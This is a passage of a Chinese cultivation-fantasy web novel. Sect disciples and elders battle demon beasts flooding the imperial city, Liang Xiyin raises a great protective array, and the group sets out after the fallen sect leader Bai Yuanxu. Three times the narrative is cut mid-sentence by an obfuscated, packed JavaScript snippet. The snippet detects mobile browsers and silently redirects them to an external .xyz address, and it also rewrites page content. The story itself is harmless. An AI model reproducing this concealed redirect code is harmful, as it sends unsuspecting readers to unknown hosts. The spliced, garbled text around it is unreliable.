江映和一张一张的向他们塞着护体符:“拿着这张符,躲进去后就别出来了。” “多谢仙长!多谢仙长!...仙长!背后!” “什么?”江映和猛然扭头,只来得及看见一头正倒向地面的魔兽和一道凛冽的剑光。 而一旁站着的,是名手执长剑,蓝衣纷飞的少年。 江映和一喜,喊道:“叶兄!” “江兄!几日没见,想我了不曾?”不及多言,叶天舟立时回身去助正对付着魔兽的杜昱。 那魔兽青面獠牙,血口大张时,一股腐臭气味迎面扑来。杜昱面带嫌恶地后撤几步,不料却撞上了一个人。 “谁啊?还不躲...”话音在回头的一瞬间戛然而止,杜昱又惊又喜,“叶兄!我刚还和他们说起你呢!” “肯定没说什么好话!” “哪有,我说...” 魔兽的利爪袭来,叶天舟挥剑抵挡:“行了,先解决掉这个玩意再说!” 两人背靠背,端的是默契非常,一个眼神交流都无,便在同一时刻一左一右地展开进攻。 若仅是被两面夹击,魔兽尚能应付得过来,它真正难敌的是这两人不要命般的打法。 很快,剑光直入要害。濒死之际,魔兽用尽全身的力气大吼着,音浪足以掀起道旁商铺的砖瓦。 杜昱揉了揉耳朵,嫌弃地说:“这东西得有几百年没刷过牙了吧,还好意思叫这么大声。” 叶天舟将剑撑在地面上,平复着呼吸。 还没待他们二人喘口气,又有成群的魔兽奔腾而来,房屋被踏烂,惊恐的牲畜四处乱窜,哭喊声与咆哮声交织着,撕扯着众人的耳膜。不知是人还是兽的鲜血在地面上汇聚成滩,赤红一片。 好一派人间炼狱之景。 两人提剑迎敌,杜昱大喊:“叶兄,你们苍梧宗在搞什么啊,这些家伙到底是从哪冒出来的?” 叶天舟也喊:“我哪知道!老子好端端地练着剑,就被拉到山下来除魔了!” “他老天爷的,这不就是见鬼吗!”江映和双手捏诀,符纸带着金芒,短暂地击退了一批扑过来的魔兽。 三人咬牙,与茶楼中的修士一同和魔兽缠斗着,好在没过多久,就有越来越多的修士赶来支援。 可纵使魔兽的脚步被阻隔于外,那些黑雾却是无孔不入。百姓一旦被黑雾缠上,立时就变得神智不清,状若癫狂。 谢淳就地起阵,金光从地面生长出来,在合拢的瞬间化作一道坚不可摧的屏障。 “快进来!”他扯着嗓子喊道。 百姓一窝蜂地拥了进来,他们不敢离阵法的边缘太近,全都挤在了谢淳身侧,瑟瑟发抖。苏柚也一道跟了进来,替那些伤重的人包扎伤口,并给被黑雾入体之人喂药。 百姓无不是感激涕零:“仙长救命之恩,小民们当真无以为报啊...” 苏柚面色不变:“我不需要报答,你们好好活下去便可。” 谢淳的视线透过护罩搜寻着,焦急难掩:“怎么不见师弟和师妹?” “我刚见他们往城东去了。”苏柚答道。 “城东...柳府...”谢淳喃喃道,他见苏柚忽然站起身向外走去,连忙又说:“苏师妹,外面危险!” 苏柚从乾坤袋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14952579|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中掏着瓷瓶,步伐坚定:“阵中的人基本已无大碍,我还留了些药在这里。但阵外不知还有多少百姓命悬一线,身为医修,我必须要出去。” 谢淳看着她的背影,没再阻止,只是叮嘱道:“苏师妹,万万小心。” 护罩不断散发着浅淡的金光,犹如黑色海洋中的一盏孤灯。 谢淳拧着眉,阵中百姓愈来愈多,黑雾的冲击却不曾减弱分毫,照这般下去,他不知还能撑多久......不,他一定要撑下去,不论多久。 受了伤的百姓小声呜咽着,更多人则是满脸麻木地盯着护罩外。可在将视线转到谢淳身上时,他们眼中却泛着光,宛若复燃的火苗。 “是我们拖累仙长了...” “要是仙长实在顶不住了,那我来给仙长殿后。小民不过贱命一条,但仙长一定要活下去啊。” “到底什么时候才会结束啊,我想回家...” “会的,”谢淳语气坚定,“我们都能活着回家的。” 黑雾依然肆虐,但谢淳注意到,几乎有一半的黑雾都在同一时刻止住了动作,随后疯狂地向某一处涌去。 “魔尊...”谢淳瞬间反应过来。梁惜因和重霄,当真都在此处。 皇城,远不只有他们在守护着。 - 城东,平康大道。 繁华的街景一触即碎,在身如小山的魔兽面前,手无寸铁的百姓只能尖叫着逃散。 柳逸兴牵着妹妹柳稚笙,被人群裹挟着向前奔逃。 一个不慎,他跌倒在地,柳稚笙惊叫出声。柳逸兴立马爬起,无暇顾及膝盖处的疼痛和沾满了尘土的锦袍。他知道,但凡自己动作稍慢些,就会陷在逃命的人群脚下,再也爬不起来。 他摸了摸柳稚笙的头:“没事,二哥没事。” 柳稚笙边跑边哭:“都怪我,非要二哥今日带我出来玩...” “别说这些了,跟紧些,别走散了。”柳逸兴道。 柳稚笙吸了吸鼻子:“嗯!” 两人向着柳府的方向跑着,却不得不在一个转角处止住了脚步。几头面目狰狞的魔兽通体散发着黑气,不由分说地挡在了路口。人群尖叫着后退,柳逸兴不甘地拉着柳稚笙躲进了道旁的一家商铺中。 明明还差一条路,就能回家了... 躲在这间商铺中的远远不止他们二人,这些人无一不是屏着呼吸,生怕引起那几头魔兽的注意。即便如此,他们仍能听见魔兽越来越近的脚步声,以及它们行走时粗重的喘息声。 不知是谁先哭出了声,传染一般,哭声很快蔓延了整个商铺。 柳稚笙被柳逸兴紧紧护在怀中,娇俏的脸上满是恐惧,她声音压得极低:“二哥,我们要死了吗...” 柳逸兴像幼时哄她那样一下下轻拍着她的背:“不会的,我们笙儿可是要长命百岁的。”另一只手则是紧捏着柳甫畅此前送与他们的护身符。 柳稚笙还是哭:“我不要长命百岁,我要和阿爹阿娘,还有哥哥们待在一起。” “轰——”屋顶被掀翻,魔兽恐怖的面容骤然出现在了众人眼前。 “啊!!”一片尖叫声中,柳逸兴紧闭双眼,将柳稚笙罩在了身下。 92. 三柳 可预想中的剧痛并没有到来,耳边似是响起了刀剑破空之声,柳逸兴试探着将双眼睁开一条缝,就见几名白衣修士立在一处房檐上。 这几人无不是神色凛然。凝神捏诀间,身侧的长剑依令而动,转眼就将那头巨大的魔兽捅了几个对穿。 短暂的惊愕过后,劫后余生的欣喜潮水般淹没了众人。柳逸兴这才发现自己早已满头冷汗,嘴里不断念叨着:“得救了,得救了...” 斩完一头魔兽后,这几名剑修双足轻点,衣袂翻飞,几息功夫便闪身到了另几头魔兽面前,剑光流转间,魔兽的惨叫与哀鸣声不绝于耳。 商铺内的百姓才松了一口气,很快又乱作一团。无他,铺天盖地的黑雾夹杂着怨鬼的嚎哭,以排山倒海之势涌了进来,简直像是被直接倾倒进了商铺中。 被黑雾附上的人痛苦地嘶喊着,将自己的身躯抓得血肉淋漓。柳逸兴抱着柳稚笙,避着那些已然疯癫之人,缓缓向门口挪着。 手中的护身符烫得他掌心生疼,他却将之握得更紧了些。他明白,就是因为有这张符在,黑雾才不敢靠近他们二人。 他和柳稚笙此次出门,身上一共就带了两张护身符。商铺内的其余人他救不了,他只希望自己和妹妹能平安归家。就算他注定要在今日这场变乱中死去,他也想...死在最熟悉的地方。 移至门口后,柳逸兴探出半张脸,观察着外面的动静,准备等这批魔兽被杀光后,就带着柳稚笙跑回柳府。 他太全神贯注了,以至于一个没注意,竟让柳稚笙挣脱了他的怀抱,跌跌撞撞地向外跑去。 “稚笙——”柳逸兴目眦欲裂,慌忙伸手去拉她,可只来得及碰到一片柔软的衣摆。 柳稚笙捡起掉落在不远处的玉佩,心疼地看着上面的裂痕与沾染上的尘泥。她将玉佩紧紧握在手中,正要回去,却在抬头的一瞬间被吓得动弹不得——一头魔兽不知何时站在了她身前。 那魔兽张着翅膀,头上布满尖刺,带着腥臭的口水正从巨大的嘴中滴落下来。 柳稚笙完全呆住了,腿脚不听使唤,眼睁睁地看着那魔兽将嘴张得越来越大。忽然,她感到身子一重,柳逸兴奋不顾身地扑了过来,他用手护住柳稚笙的头,将她压在了身下。 仿若只过了一瞬,又仿若过了很久很久,他感到背上一片滚烫。 ...只是烫意吗?耳畔的抽泣声逐渐清晰,柳逸兴睁开眸子,第一眼看到的便是柳稚笙那张被涕泪糊满了的花脸,随后是魔兽倒在一旁的尸体。 还活着?还活着。 他翻身瘫坐在地,心脏还在剧烈跳动着,一时连责备柳稚笙的力气都没有了。 也就是在这时,他面前出现了一只手。柳逸兴平复着呼吸,目光上移,见一人白发白衣,飘然不似凡世中人。 柳逸兴愣住了:“神、神仙下凡...” 谢既微轻笑,见他没反应,直接将人拉了起来:“不过是凡间一俗人,哪担得起什么神仙之称。” 拉完了柳逸兴,他又去拉柳稚笙。柳稚笙擦着泪,模模糊糊地瞥见眼前有一个白花花的身影,张口便道:“谢谢爷爷。” 谢既微:“......” 他跳脚道:“什么爷爷!我哪里看上去像爷爷了!你见过像我这样的爷爷吗?!” 柳稚笙:“......啊?” 柳逸兴也渐渐回过神来,他半挡在妹妹身前,恭敬行礼道:“多谢仙长救命之恩。” 谢既微还有些气,他说:“不必谢我,就算我不来,他们也不会袖手旁观。” 他口中的他们自然是指那几名剑修,此刻他们已将这群魔兽全部斩杀殆尽,其中一人向这边走来道:“掌门。” 谢既微应声说:“冯长老,此番也是辛苦你们了。” “不过是分内之事,岂敢言辛苦?”适才与魔兽相斗之际,他眼见还有一个漏网之鱼,正要提剑相击,就见谢既微出手了。于是他便彻底放下心来,扭头去对付那些魔兽了。 周遭的魔息慢慢退却着,冯长老注意到,街道两旁的商铺不知何时被贴上了符纸。那符中蕴含的灵力强悍,无疑俱出自眼前之人。毕竟以谢既微的修为,画什么符都是尽显其效。 冯长老对谢既微拱手一礼,回身跟上几名剑修,赶往别处支援去了。 “逸兴!稚笙!” 谢既微本也准备离开了,却觉这声音有几分耳熟,又停住了脚步。 柳甫畅和燕明昭从不远处奔来,等跑到他们面前时,柳甫畅一手一个,将柳逸兴和柳稚笙揽进了怀中:“可算是找着你们了。” 变乱发生后,他第一反应就是去往城东柳府,他没有布阵,而是一路跑去的。燕明昭什么也没说,与他一同奔走着。 但凡路上遇到了有危险的百姓,他们便会出手相助,或是送符,或是布阵。就算一时不能抵挡,两人也会尽力护着百姓,直到其余修士赶到为止。 柳甫畅虽面上不显,心中却是焦急无比。怎能不焦急?他完全不知道此时府中亲人的安危,只能强迫自己不要去想那些血腥的场景。他安慰自己道,府中有那么多他往日留下来的符纸法器,撑住一时半刻定然不成问题。而这些百姓却是真正的在这突如其来的横祸下毫无办法。 看向身旁的燕明昭,柳甫畅又觉心中安定不少。不论发生什么,起码他都不是一个人在面对。 赶到柳府后,城中的魔兽和黑雾果然还没有攻进来,院中满是来避难的百姓。但柳老爷的一席话却让他彻底乱了心神——柳逸兴和柳稚笙不在府中。 他匆匆布下一个灵盾阵,转身就向府外走去。此阵同样具有防护效力,也不用阵修坐在阵眼处守着,但效力却比不上金光护体阵。 没办法,他和燕明昭一路走来,体内灵力已消耗得差不多了,只得暂且如此。 府中无人知晓柳逸兴和柳稚笙究竟去了何处,是以柳甫畅只能顺着城东的街道一路寻来。 所幸,他找到了。 他将二人松开,上下打量着他们:“没事吧?可有受伤?” 柳稚笙摇摇头,又按捺不住地哭了起来:“没有,大哥,我还以为再也见不到你了...” 柳甫畅捏了捏她的脸:“说什么傻话,哥哥在这呢,不会有事的。” 两次面临死亡的威胁,柳逸兴直到此刻见到柳甫畅才敢彻底松懈下来,适才在商铺内蹲得太久,此时双腿一阵酸麻,但就是这般细微的疼痛,竟让他忍不住带着哭腔道:“哥...” 柳甫畅又是心疼又是赞赏地说:“逸兴,做得不错,你将妹妹保护得很好。” 提起这遭,柳逸兴心中就是一阵后怕,他质问柳稚笙道:“你方才为何要出去?难道不知道外面有多危险吗?!”虽然里面好像也没安全到哪去... 他这话几乎完全是吼出来的,柳稚笙缩了缩脖子,将手掌摊开,一块很是狼狈的玉佩便出现在了几人眼前。 她小声说:“这是大哥送我的,我怕再不去捡就没机会捡了。” 柳甫畅心中一动,他送给小妹的东西太多了,连他自己都不记得何时送了这么一块玉佩。百感交集下,他轻叹一声,正要说话,余光就瞥见了一个身影。 他连忙站好,与燕明昭一同行礼道:“掌门。” 柳稚笙扯了扯柳甫畅的衣服:“大哥,刚才就是这位仙长哥哥救了我们。” 谢既微示意二人免礼,随后从柳稚笙的手中拿过玉佩。柳稚笙略 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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柳逸兴从方才起就感到后背的衣服像是被浸湿般又潮又重,联想起那股滚烫,他心中蓦地升起了一股不好的预感。他将外袍脱下,果不其然地看见金线绣成的锦袍上满是刺目的鲜血,几乎将整件外袍都染作了殷红。 “啊——”他大叫一声,像扔烫手山芋一样将那外袍扔得老远,“好恶心!” “这时候就别嫌什么恶心不恶心的了,命保住就行。”柳甫畅开了道阵门,一手一个把柳逸兴和柳稚笙往阵里推,“回家去,事情平息前都不要再出来了。” 柳稚笙扭头望着他们,眸中又泛起了水光:“那大哥和大嫂呢?” 柳甫畅:“......” 燕明昭:“??!” “我们在外除魔,待城中安定下来便会回去,哥哥向你保证。”柳甫畅咳了几声,赶忙将人推了进去。 阵门关闭后,柳甫畅和燕明昭对视一眼,又同时移开了视线。燕明昭耳根微红,嗓音不自觉地放大道:“你平时都和你妹妹说了些什么啊?!” 柳甫畅连连喊冤:“天地良心啊师姐,我可什么都没乱说,稚笙她怎么想的也不是我能控制得了的啊!” 他神情极为无辜,燕明昭将信将疑,目光上下扫着他。 柳甫畅咽了口唾沫,深觉不能再在这个问题上纠结下去了,赶忙又说道:“我方才见有一半的黑雾都往西去了,想来那就是魔尊所在之处。” 燕明昭果然被转移了注意力:“既如此,师太祖应是也在那处。” 脑中有什么东西闪过,柳甫畅眸光一动,猛然对燕明昭道:“师姐,梁府!” 93. 护城 梁府。 府中一众人都缩在了正厅中,胆小的女眷捂着耳朵双眼紧闭,仿佛这样就还可以沉浸于往日的安平中。 院墙内侧贴着道道符纸,那皆是梁惜因往日送与梁书芸的。符纸上的咒文鲜红似血,灵力流转间,将黑雾全部阻隔在外。院墙之外是魔兽的咆哮声与百姓惊慌失措的喊叫声,这些声音时远时近,搅得人心也跟着忽上忽下。 梁允站在正厅门口,面色凝重。梁宣和梁宜紧紧挨着冯姨娘,吓得面无血色。沈氏两手环着自己的两个孩子,低低地啜泣着。 梁书芸安抚着她和梁书宥,忽然听得梁允喊道:“柳仙长!” 梁书芸心头一跳,连忙也向院中跑去。 正厅外,柳甫畅正和梁允说着话。 “梁老爷,我和师姐特意代师、师、师妹过来察看一番,既然府中诸人尽皆无恙,那我们二人也便告辞了。”柳甫畅道。 他之所以要来此,便是担心梁惜因会在动乱中无暇顾及梁府。他虽然不知梁府和现在的含盈仙子还有无干系,但总归是亲自来看上一眼才安心。 梁书芸见他们要走,提起衣摆几步跑上前来:“二位仙长,不知四妹她此时可在皇城中,安危如何?” 柳甫畅:“......” 燕明昭:“......” 说出来梁书芸恐怕也不会相信,她口中的四妹此刻已然成了他们的师太祖了。 燕明昭擦了擦额上并不存在的汗:“梁姑娘大可放心,师、师妹她并无危险。” 冯姨娘本来在正厅探头探脑,这会儿见人多了,胆子也渐渐大了起来,扭着腰肢走上前道:“她梁因好歹也是梁府中的人,这大难当头的,竟还不如二位仙长尽心,都不知晓回来看上一眼。”当然,如果她能顺便带些法器回来就更好了。 她身侧的梁宣拉着她,面色有些难看:“姨娘,别说了...” 冯姨娘瞋目竖眉:“怎么,我说得不对?那丫头到底给你灌了什么迷魂汤,眼下我连说她一句都说不得了?” 梁书芸蹙眉:“姨娘此言差矣,”她环顾了一遍内院,黄色的符纸在灰黑的石墙上格外醒目,“四妹若是还不尽心,那你我安能如此站在院中交谈?只怕是早已成了魔兽的齿下亡魂了!” 冯姨娘讪笑:“三姑娘这是什么话,什么亡魂不亡魂的,说出来多晦气。三姑娘是洪福之人,寿数长着呢。” 她转了转眼珠:“只是那符纸到底也费不上什么功夫,随便画画不就得了?梁府可是养育了她这么多年,她就用这么些破纸片来回报不成?” 柳甫畅心中难得动了怒,他对梁惜因此前在梁府中的事也有所耳闻,养育之恩?亏她说得出口。在他和燕明昭两个外人面前都尚且如此,不难想象她往日在府中得有多么嚣张。也就是不知梁惜因的真实身份,她才敢如此要挟。 他正欲开口,却瞥见了燕明昭紧握的双拳。 柳甫畅:“......”险些忘了,这还有个人比他更生气。 他连忙扯了下燕明昭的袖子,燕明昭半回首,不耐地盯着他。柳甫畅冲她微不可察地摇了下头,让她暂且别把事情闹大了,毕竟再怎么说,这都属于梁府的家事。 燕明昭深吸一口气,对冯姨娘冷声道:“破纸片?要是没有这些破纸片,你早就身首异处了。这位姨娘有所不知,每绘一张符纸,修士都要耗费灵力,更别提师妹交与你们的镇宅符。师妹之所以不过来,是因为她有更重要的事要做。” “至于梁府所谓的养育之恩,我想你们自己心里清楚。我和师弟还要去护城中百姓,此间既然无事,我们也便先离开了。” 冯姨娘还在兀自不忿:“她能有什么要事...” “无知妇人!还不快滚回去!”梁允怒斥她道,同时赔着张笑脸,连声挽留柳甫畅和燕明昭,“二位仙长这就要走?不妨在府中多坐一会,我这就吩咐人给仙长上好茶。” “不必了。”燕明昭头也不回地向院墙走去。 梁书芸迟疑一瞬,还是追了上去:“二位仙长,还请留步!” 燕明昭这回倒是停下了步子,回首问道:“梁姑娘还有何事?” 梁书芸微微喘着气:“还望燕仙长代我向四妹转达一句,让她务必将自己的安危置于首要位置,勿要过于拼命,我还等着她...给我寄信。” “就这些?” “嗯。”梁书芸点头,“二位仙长也请多加小心。” “放心,我定会将梁姑娘此话原封不动地转达。”燕明昭笑道。 梁府大门被封死了,柳甫畅脚尖一点跃上院墙,蹲在上面向燕明昭伸出一只手。燕明昭将他的手拍开,轻巧地跃至院墙上,对柳甫畅做了个鬼脸。随后率先跳了下去,在皇城中奔走起来。 柳甫畅笑了笑,紧随其后。 二人走后,院墙上重新变得空荡起来。梁书芸却还立在原地,久久没回过神来。 等她再走回正厅时,却意外发现众人已是乱成一片。尤其是梁宣和梁宜两小子,哭声震天。 “怎么回事?”梁书芸快步走过去。 梁书宥凑过来,向她道:“冯姨娘消失了。” “消失?”梁书芸不解。 梁书宥语气十分肯定:“没错,姨娘本是要回正厅的,走着走着忽然就凭空消失了。” 梁书芸:“......啊?” 她脑中蓦地浮现起那两个潇洒的身影,应该...不会吧? - 赶来皇城的阵修大能们按梁惜因的吩咐,分别布阵前往不同方位。 常谧和殷照一同前往城南。 甫一见到常谧,殷照便立时行礼道:“师尊。” 转眼功夫间,常谧就已布好了缩地阵。她将殷照扶起,唇角微弯:“做得不错。” 殷照:“......”他一点都不想知道自己是哪里做得不错。 他有些欲哭无泪,原以为自己已经接受了现实,可久未谋面的师尊一出现在眼前,他就控制不住地去想自己把师尊的师尊收成徒弟这件事。 果然,这种事能接受得了就见鬼了啊! 梁惜因立于望江楼的楼顶,此地是皇城的最高点,四下景色皆可一览无余。 若在平日里,定可望见碧江如带,游人如织,千家万户的屋檐共同绘就皇城的安宁盛景。可眼下所见,却俱是黑雾弥漫,魔兽横行,惨叫声与嘶吼声刺破天际。 高处风急,将她的衣摆吹得猎猎作响,她周身萦绕着环状的黑雾,这些黑雾也仅仅只是环绕着她,不像是要攻击,倒似是在守护。 她对立在不远处的重霄笑道:“阿霄,无事的,我不会掉下去。” “好。”重霄应声,却仍是没有将那些怨气撤走。他太怕了,怕两百多年前那副噩梦般的景象会重现。 梁惜因轻笑,没再言语。她操纵着手中的白玉阵盘,玉质莹润的阵盘上半点灰尘也无,一看便知是被好好养护着的。 这是梁惜时亲手交与她的。 阵盘浮于半空之上,繁杂的纹样从中流露而出。梁惜因捏着诀,双唇翕动:“天罡加护,诸邪辟易;万法不侵,御守无边。” 随着她话音的落下,缠绕着阵盘的金色阵纹渐渐分为十道,延伸着向不同方位迅速飞去。 玄仪子盘着双腿,一手撑着面颊,一手运着灵力,姿态闲闲地在空中绘着阵纹。 殷照神情严肃,再三确认着所绘的阵纹是否有差错。 常谧注视着望江楼所在的方向,眸中满是难言的怀念。她不知已有多久没见过她的师尊——梁惜因布阵了。 纪长天扇动背后的羽翼,再绘好阵纹后,给瑟缩在商铺和平房中的百姓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14960703|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 布下了一道道灵盾阵。 ...... 十道阵纹自望江楼而出,流转着覆满了整座皇城。大量魔息躲闪不及,在触及到阵纹的一刹消散而去,不留一丝痕迹。 皇城中的百姓,不论是逃命的、哀哭的、避难的...此刻全都抬起了头,黑雾渐散,丹曦重明。阵纹并未被日光掩盖,反而更加耀眼,它们自上古流传而来,携着至纯的灵力,穿过惊而忘言的人群,穿过或繁华或脏乱的无数条街道,穿过这混乱不堪的人间...流向了皇城的边缘处。 皇宫,扶岳化作的猛虎守在宫门前,无一只魔兽胆敢上前来。林韵舒在宫中给那些受惊的,或是被黑雾入体的宫人们递着丹药。太极宫内,面白无须的内宦尖声恭维着殿中身着黄袍之人:“定是陛下德泽广被,才引得神迹降世!” 皇帝张开的双手颤抖着:“天佑我大盛啊!天佑我大盛!” 茶楼旁的街道上,杜昱和叶天舟长剑染血,江映和手中符纸翻飞,三人俱是战得正酣,身上的宗服早已被鲜血染红,分不清是他们自己的还是魔兽的。 长剑挥动间,这条路上的最后一头魔兽瘫倒在地,杜昱抹了一把脸上溅的血,直呼道:“过瘾!” 三人也不顾地上脏污,背靠背坐下,叶天舟将剑插入地面,附和道:“多久没打得这么爽过了。” 江映和累得直喘气,大喊道:“下次下山除魔,我还要和你俩一起!” 三人彼此击了个掌,流转的阵纹倒映在血泊之中,宛若血海生金芒。 谢淳松了口气,安抚阵中的百姓道:“放心,阵成之后,这一切就都结束了。” 苏柚的乾坤袋中只剩下一堆空空如也的瓷瓶,她面对着阵纹生出的方向,在心内默默祈祷:不论是百姓还是修士,都不要有人再受伤了。 柳府。柳老爷和柳夫人抱着刚回府的两个孩子不肯松手,柳稚笙从自家娘亲怀中挣脱出半个脑袋,整张面孔都被愈来愈盛的日光照亮,她好奇地问:“阿爹,阿娘,那是何物?” 柳老爷经商多年,见过的奇珍异玩称得上是无数,却没有哪一样带给他的震撼能与眼前的景象相比,他慨叹道:“神仙下凡,不外如是了。” 梁府。“凭空消失”的冯姨娘还没有出现,但眼下已是无人还顾得上她了。梁宣和梁宜站在一处,面上满是憧憬。梁书芸心跳不断加快着,梁惜因和她说过许多有关阵法的内容,眼前这布满全城的大阵,四妹是否也参与其中了呢... 柳甫畅和燕明昭停下奔走的脚步,他们此时站得位置离望江楼极近,几乎毫不费力地就能望见楼顶的梁惜因,以及守在她身侧的、传闻中“无恶不作”的魔尊重霄。 两人无言片刻,同时弯下了身,拱手一礼。 不止是他们,一众修士都遥遥望着阵纹流出的方向,隔着芸芸众生,隔着这前后两百年的光阴,向修仙界中最为耀眼的阵修拱手示敬。 能主这种大阵的,从来都只有那一人。 更多的百姓则是直接面朝着望江楼跪下了,泪水流了满面,“神仙啊!神仙来救我们了!” “神迹,当真是神迹!” “呜呜呜原来神仙还没忘了我们这些小民...” 阵纹流向皇城边缘,在与辅阵修士所绘的阵纹相接后,骤然发出一道耀眼的光芒。待光芒散去,十名辅阵修士的面前凭空出现了一把巨剑,这巨剑呈半透明之态,通体流溢着浅淡的金光,直直地插进地面之中,通天贯地。 在十柄巨剑都入土的一霎,整座皇城都漾起了流波般的金光,所过之处黑雾尽散、污血蒸腾。 还活着的魔兽疯狂地咆哮着,试图做最后的挣扎。但任凭它们吼叫着跑向何处,都在无所不至的金光下再没了动静。魔兽的尸身在金光中渐渐化作黑雾,又紧随着如烟云散。 一阵出,万恶伏。 94. 原处 金色的浪潮缓缓退去,若非混乱的街道、倒塌的房屋,这浩浩皇城看上去与往日别无二致。 梁惜因收起阵盘,长呼出一口气。还好,阵布成了。 重霄过来扶她,面上闪过丝心疼:“布此一阵,阿因定然耗费了大量灵力。” 梁惜因捏了捏他的手,笑道:“以灵力去换万民的性命,难道还不值吗?” 不远处一道白发白衣的身影御剑而来,他停在二人面前,收起剑道:“含盈,还有...魔尊,辛苦你们二位了。” 梁惜因淡笑着摇头,问道:“既微哥,可找到了白元绪?” 谢既微皱着眉:“我一直在顺着剑影上的魔息追寻,却并未在城中发现他的踪迹。” “不在皇城?”梁惜因正了神色,“莫不是已经逃了出去?” “不,”谢既微否认道,“无论他去了何处,都定会留下痕迹,而不是像现在这般根本探寻不到。” 两人交换着视线,同时想到了一种可能性。 重霄则直接将其说了出来:“苍梧宗。”他淡淡吐出这三个字。 恰在此时,一张符纸以极快的速度向此处飞来,梁惜因抬手接住,就听见梁惜时的声音道:“不好,白元绪还在苍梧宗内!” 以梁惜时现有的灵力,光是将这一张符传来就已是够呛。梁惜因顿时急了:“既微哥,白元绪当真还在苍梧宗。我们...” 谢既微扬袖甩出十几张传讯府,语调依然冷静:“走,回苍梧宗。” 梁惜因开了一道阵门,甫一出阵,就望见了山脚下的梁惜时和一众身着苍梧宗宗服的小弟子。 悬着的心放了下来,梁惜因快步走过去,关切地道:“哥,你没事吧?” “放心,哥哥好着呢。”梁惜时先是安抚她,随后将情况细细与三人道来:“你们走后,我便来到了山脚下,想看看皇城情况如何。而就在不久前,我感受到主峰上传来了巨大的灵力波动。有此等修为的,整个苍梧宗就只有那一位。我不知他要做什么,但想来也非什么好事,便先将宗内的这些弟子都叫了下来,以免受到波及。” 苍梧宗主管的就是皇城,眼下皇城受难,除了这些刚入宗没多久的小弟子,其余弟子尽皆下山除魔了。 谢既微沉思须臾:“照这般说,白元绪自始至终都未离开过苍梧宗。这般肆无忌惮,只怕我们此前都低估了他入魔后的修为。” 三言两语间,再度聚集于苍梧宗山脚下的修士越来越多。玄晖宗的人多是收到了谢既微的符,其余修士或是跟着玄晖宗的修士一道来的,或是不知接下来要如何,便回到了此前众人齐聚之处。 苍梧宗的弟子自然也回来了,见山脚下聚着这么多前辈,全都探头探脑地望着,虽是有些摸不着头脑,但也不敢随意上山。 一片蓝色的宗服间,杜昱和江映和一人搭着叶天舟的一边肩膀。杜昱压低声音问道:“叶兄,出什么事了,你不是说要带我们去你院中喝好酒的吗?” 叶天舟只会比他们二人更懵:“不知道啊,这么多人,怎么没见着掌门?” 眼见人到得差不多了,谢既微让苍梧宗中的几名长老先将那些弟子安顿一下。他本是想让他们将弟子都留在山脚下,怎料那几名长老听了原委后,无不如临大敌,将他们全都赶回了皇城中。 谢既微:“......”其实待在山脚就已足够安全了。 其余修士仍是满脸不解,他们盯着谢既微,俨然已将他当作领头之人了。也有部分人的目光始终在梁惜因和重霄身上转着,但到底没说出什么来。 见弟子们都撤走了,谢既微扫视着在场的众修士,平静开口道:“皇城之乱的主导者,也就是白元绪,此刻还在苍梧宗的主峰上。他入魔已久,修为高深,且不知还留有什么后招。谢某与含盈仙子、魔尊重霄正要上山去擒拿首恶,若有愿意同往之人,谢某来者不拒;不愿意同往者,尽可留在山脚或是各自回宗,但凭诸位决定。” 静默片刻后,各种声音交织成一片。 “白元绪修行邪门歪道,纵魔兽下山残害无辜百姓,罪不容诛!简直忝为一宗掌门。我愿与谢掌门同往!” “含盈仙子渊渟岳立,布阵救百姓于危难之际,此时还一马当先地要去捉拿恶贼,真乃我等不及也。” “他白元绪既是能做出这等事来,平日里定也没少作恶。就算是为这天下万民着想,在下也是义不容辞!” 最后,除了极少数的修士留在了山下,余下修士都选择随谢既微前往主峰。梁惜时本也想跟去,但还是在梁惜因的要求下留在了原处。 梁惜因凝视着那张与自己有着几分相像的面容,张臂环抱住他:“哥,谢谢。” 梁惜时顿了顿:“...你都知道了?” “嗯。”梁惜因将头埋在他的肩膀处,不让他看到自己的神情。哭声被压在喉咙里,她传出来的声音有些闷:“哥,剩下这些事交给我们来就行,你好好养身体,我还等着回去后吃你做的饭呢。” 梁惜时眼眶泛红,面上却是笑着的:“好,待此事了结后,阿因想吃什么哥哥都给你做。” 他动作轻柔地揉着梁惜因的脑袋,叮嘱道:“白元绪实力不明,你务必小心。” “嗯。”梁惜因已平复好了情绪,她抬起头,眼底漾满光彩。 告别了梁惜时后,梁惜因侧身看向一直站在不远处的常谧和纪长天:“你们...” 两人知道她要问什么,纷纷表示道:“愿与师尊同往。” 梁惜因轻笑:“好。” 众人从阵修布的阵中来到主峰,又乌泱泱地向主殿走去。几乎所有修士的身上都沾有魔兽的血迹,方才一战,显然令他们耗费不少。即便如此,多数人脸上却都带有一种狂热,他们坚定地认为这么多修士同行,定能将白元绪成功擒获。他们期待着这一战能重彰正义,能使他们的姓名百世流芳。 重霄走在梁惜因身侧,他凑近了些,在梁惜因耳畔低声说:“阿因若是想吃什么,我也可以给阿因做。” 